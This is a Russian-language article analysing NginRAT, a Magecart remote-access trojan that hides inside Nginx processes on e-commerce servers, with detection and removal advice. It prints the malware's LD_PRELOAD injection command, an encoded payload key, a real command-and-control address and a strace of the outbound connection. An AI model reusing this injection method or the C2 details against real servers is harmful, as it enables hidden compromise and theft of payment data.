Новая угроза для Nginx: что известно про NginRAT?

Недавно появился новый вредитель Magecart, целью которого являются серверы Nginx. Его вредоносный код проникает в приложение сервера, маскируется на нём и ворует данные.

До этого исследователи из компании Sansec обнаружили вредителя CronRAT: он нацелен на eCommerce-платформы и управляется из Китая. В ходе эксперимента специалисты создали свой клиент RAT, через который получили команды из КНР.

Полученный код активировал следующее звено этой цепи — NginRAT. Вредитель берёт под контроль приложение Nginx через корневой функционал хоста Linux (как dlopen), чтобы скрыть свою деятельность. Когда сервер использует нужные ему функции, NginRAT проникает внутрь.

Вся система – это троян удалённого доступа в процессе Nginx. На серверах eCommerce-проектов таких процессов немало, но сервер выглядит невредимым.

Исследователи нашли NginRAT на серверах eCommerce-платформ в Германии, США и Франции, но считают, что поражённых серверов гораздо больше.

Анализ NginRAT

Вредитель CronRAT соединяется с главным сервером по адресу 47.115.46.167:443 через уникальные команды. Например, dwn загружает системную библиотеку Linux в /dev/shm/php-shared. Далее CronRAT выполнит этот код:

env LD_L1BRARY_PATH="[580 bytes]" \
    LD_PRELOAD=/dev/shm/php-shared \
    /usr/sbin/nginx --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help --help --help \
    --help --help --help --help --help --help --help --help --help 1>&2 &

Как раз он и встраивает вредителя NginRAT в приложение Nginx.

Что происходит дальше?

В Nginx поступают 2 переменные. В LD_L1BRARY_PATH имеется ошибка 1, в которой содержится ключ от шифра полезной нагрузки RAT:

LJMESRJVJJKTGSKRJAZTGRCGG5NEISKWJ4QDCMZAG5EFIV2CIY2UWT2FKFMVIT2VKIQDCMD4KZBVUNCDEAZSAVCTIQ3UKSKDGNFE4MSZJ5DTKRCNJAZVQWBXJVFECSRUGJDUKR2RIVIECTCDKNEFAS2HIFCVSIBSHB6FOT2CJJGFOTCOK5JUWSKDJI2FKM22LFHDKT2OLJEUYWC2KBCUSIBRHEQDETCYKBKFAQJWGI3TMT2RKM3VCWCNIJGFAVJWGRDFIQJXKQ3U6TKFK5HDIWKILBHFSRKRIEQDEN34GYZEWM2KJBHUWRCZLFLFQTSHJI3E6TBSG5KTMQ2LLI3UKN2QK5ETKTJAGIYSAVCELJHDGNBVKNCVCSKTLJLTKMZAGEYHYUJUEAYSAV2ZKBFTKUJVI5ETESSKINKUQRZWKM3DOQJTJFLUIMSBJRJVSQKCJU3VISSKIE2VUR2HIRDU6NCJEAZDTVXSVLQCAVEEAQ6JZNKIUQ7WXU25XTJOBP7IQ42E4LW6YLHDDXVB4FYRLYWTHAIGBU4CABJKWPVGTV5SRGXYI5Q4QPB3LTEPU42JUSCA

Вторая переменная – LD_PRELOAD, и относится она к функционалу отладки в Linux. Через неё разработчики тестируют системные библиотеки, но ещё переменная может перехватывать вызовы стандартных библиотек. Вредоносная библиотека php-shared перехватывает dlopen и dlsym, используемые в Nginx.

Когда Nginx вызывает dlopen, NginRAT сразу же получает контроль: он удаляет файл php-shared, изменяет имя его процесса на nginx:worker process, собирает данные о системе и устанавливает соединение с C&C-сервером по адресу 47.115.46.167. Далее вредитель ожидает команды неделями или даже месяцами.

// Частичный strace NginRAT
uname({sysname="Linux", nodename="ubuntu-2gb-fsn1-1", ...}) = 0
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CHILD_SETTID|SIGCHLD, child_08 ) = 8949
openat(AT_FDCWD, "/proc/self/maps", O_RDONLY) = 3
getcwd("/dev/shm", 4096) = 9
readlink("/proc/self/exe", "/usr/sbin/ nginx", 4096) = 15
chdir("/usr/sbin")   
openat(AT_FDCWD, "/proc/self/stat", O_RDONLY|O_CLOEXEC) = 3
openat(AT_FDCWD, "/dev/shm/php-shared", O_RDONLY) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("47.115.46.167")}, 16) = ? ERESTARTSYS (To be restarted if SA_RESTART is set)

А вот дамп трафика начального рукопожатия NginRAT с управляющим им сервером:

Как найти и обезвредить NginRAT?

NginRAT встраивается в легитимный хост-процесс сервера, поэтому обычный /proc/PID/exe будет указывать на Nginx, но не на вредителя. К тому же код библиотеки не записывается на диск, поэтому после запуска его невозможно найти.

Но если библиотека LD_L1BRARY_PATH работает с ошибкой 1, это указывает на работу NginRAT. Используйте эту команду для поиска любых активных процессов:

$ sudo grep -al LD_L1BRARY_PATH /proc/*/environ | grep -v self/
/proc/17199/environ
/proc/25074/environ

Так вы найдёте все скомпрометированные процессы, чтобы потом убить их через kill -9 ‹PID›. Ещё нужно проанализировать CronRAT, потому что вредитель может сидеть в ваших задачах cron.

Обязательно проверьте свои машины, потому что вредители не спят. Здоровых вам серверов и безопасного Интернета.

Добавить комментарий

Спасибо, что поделились